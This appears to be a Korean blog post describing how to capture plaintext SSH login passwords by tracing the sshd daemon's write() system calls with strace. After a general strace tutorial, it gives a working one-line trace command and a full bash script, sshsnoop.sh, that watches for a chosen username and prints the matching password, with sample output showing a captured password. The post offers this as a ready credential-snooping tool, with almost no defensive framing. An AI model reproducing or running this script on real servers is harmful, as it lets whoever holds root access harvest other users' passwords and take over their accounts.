SSH SNOOP 개요
목적
SSH Protocol 을 사용하는 Client & Server 간의 통신시 Client 의 Login 시 사용자의 복호화된 패스워드를 최소한의 노력으로 엿보려고 한다.
방법
SSH 데몬의 system call 추적을 통한 암호 탐지
- System call 추적후 패스워드는 암호화 되어 있을 가능성도 있다.
- 하지만 대부분 WAN 구간에서 암호화 통신시 Data의 수신후 선수행 부분은 암호화된 Data의 복호화 일 것으로 예상 된다.
- 또한 SSH Protocol 사용시 서버로 송신하는 Login 암호를 Server 의 salt key로 crypt() 하지 않을 것으로 예상 된다.
- [수신된 DATA 의 복호화] -> [crypt()후 shadow 비교] 의 과정으로 예상하여 나는 system call 추적을 해보도록 하겠다.
Strace 개요
strace 란?
- 프로그램이 실행 되는 동안 호출하는 시스템콜의 추적
- 프로그램이 실행되는 동안 받는 signal 에 대한 정보 추적
strace 사용법
syscall 에 대한 통계(time, calls, syscall …) 보기
$ strace -f -c -p 31337
% time seconds usecs/call calls errors syscall
------ ----------- ----------- --------- --------- ----------------
42.86 0.000012 0 48 close
32.14 0.000009 0 42 recvmsg
25.00 0.000007 0 22 fstat
.
------ ----------- ----------- --------- --------- ----------------
100.00 0.000028 745 21 total
syscall 에 대한 소요 시간([시간]…<소요시간>) 보기
$ strace -tt -T -p 31337
16:02:02.636274 alarm(6000) = 5999 <0.000038>
16:02:02.636452 epoll_wait(8, {{EPOLLIN, {u32=6, u64=6}}}, 100, 43000) = 1 <2.911735>
.
syscall 추적 예제
$ vi sleep.c
#include <stdio.h>
#include <unistd.h>
int main() {
sleep(1);
printf("sleep(1)\n");
sleep(2);
printf("sleep(2)\n");
return(0);
}
$ gcc -o sleep sleep.c
$ strace -tt -T -etrace=nanosleep ./sleep
16:16:47.763460 nanosleep({1, 0}, 0x7fffbd6f6bd0) = 0 <1.000305>
sleep(1)
16:16:48.764272 nanosleep({2, 0}, 0x7fffbd6f6bd0) = 0 <2.000262>
sleep(2)
설명
- sleep() 은 내부적으로 nanosleep() syscall 을 호출한다.
- -tt 옵션으로 타임을 맨앞에 출력 -T 옵션으로 소요 시간을 맨뒤에 출력 한다.
- -etrace 옵션으로 해당 syscall만 필터링 한다.
Strace를 이용한 SSH SNOOP 구현
sshd의 시작점(PPID) 찾기
sshd 데몬의 부모 프로세스(PPID) 찾기
$ pidof sshd | awk ‘{print $NF}’
.
[OR]
.
$ pgrep -o sshd
패스워드를 운반하는 syscall 찾기
일단 sshd의 syscall 확인 결과 패스워드의 snoop 이 가능함을 확인 하였다.
패스워드 운반에 사용되는 syscall 은 write() 이다.
아래의 과정으로 ssh login password 를 가로채는 것을 확인 할 수 있었다.
$ useradd victim
$ echo "MyPasswordIs1234" | passwd victim --stdin
$ strace -f -etrace=write -s 64 -p $(pgrep -o sshd)
.
[pid 8281] write(4, "\0\0\0\20MyPasswordIs1234", 20) = 20
설명
- 사용자 victim 을 추가한다.
- 사용자 victim 의 패스워드를 MyPasswordIs1234 로 설정한다.
- 인증부분은 child process 에서 행하기 때문에 -f 옵션으로 child process도 감시한다.
- -etrace=write 옵션으로 write call 만 감시한다.
- 출력 문자열의 길이를 64로 늘린다.(기본 32)
- -p 옵션으로 sshd 의 부모 프로세스를 감시한다.
SSH SNOOP(Login Password Snoop) 필터링 구현
strace 를 이용한 SSHP SNOOP 프로그램 구현(sshsnoop.sh)
$ vi sshsnoop.sh
#! /bin/env bash
#
# Cheap technique. :)
#
#
SNOOP_ID=$1
SSHD_PPID=$(pgrep -o sshd)
MATCH_ID=
MATCH_PID=
MATCH_ID_PID=
FIND_PASSWD=0
PASSWD_NEXT=15
FILTER_PASSWD_LEN_MIN=40
FILTER_PASSWD_LEN_MAX=80
SCOPE=10
SCOPE_MIN=
SCOPE_MAX=
LOOP_COUNT=0
((SCOPE_MIN=PASSWD_NEXT-SCOPE))
((SCOPE_MAX=PASSWD_NEXT+SCOPE))
if [ -z $SNOOP_ID ]; then
echo $"Usage: $0 {snoopid}"
exit 0
fi
strace -f -etrace=write -s 64 -p $SSHD_PPID 2>&1 | while read SSH
do
if [ $LOOP_COUNT -ge $SCOPE_MIN -a $LOOP_COUNT -le $SCOPE_MAX ]; then
MATCH_PID=$(echo $SSH 2>&1 | grep $MATCH_ID_PID | grep -v ssh-connection)
if [ -n "$MATCH_PID" -a ${#SSH} -lt $FILTER_PASSWD_LEN_MAX -a ${#SSH} -gt $FILTER_PASSWD_LEN_MIN ]; then
echo "MAY BE PASSWORD >>> $SSH"
fi
fi
if [ $LOOP_COUNT -eq $SCOPE_MAX ]; then
LOOP_COUNT=0
FIND_PASSWD=0
MATCH_ID=
fi
if [ $FIND_PASSWD -gt "0" ]; then
((FIND_PASSWD++))
((LOOP_COUNT++))
continue
fi
MATCH_ID=$(echo $SSH 2>&1 | grep $SNOOP_ID\")
if [ -n "$MATCH_ID" ]; then
echo "MAY BE USERID >>> $SSH"
MATCH_ID_PID=${SSH%%]*}
MATCH_ID_PID=${MATCH_ID_PID#[pid}
FIND_PASSWD=1
fi
done
sshsnoop.sh 실행 결과
$ sh sshsnoop.sh victim
MAY BE USERID >>> [pid 8949] write(4, "0006victim", 10) = 10
MAY BE PASSWORD >>> [pid 8949] write(4, "00020MyPasswordIs1234", 20) = 20
MAY BE PASSWORD >>> [pid 8949] write(4, "0002000000"3650000000J", 20) = 20
Post a Comment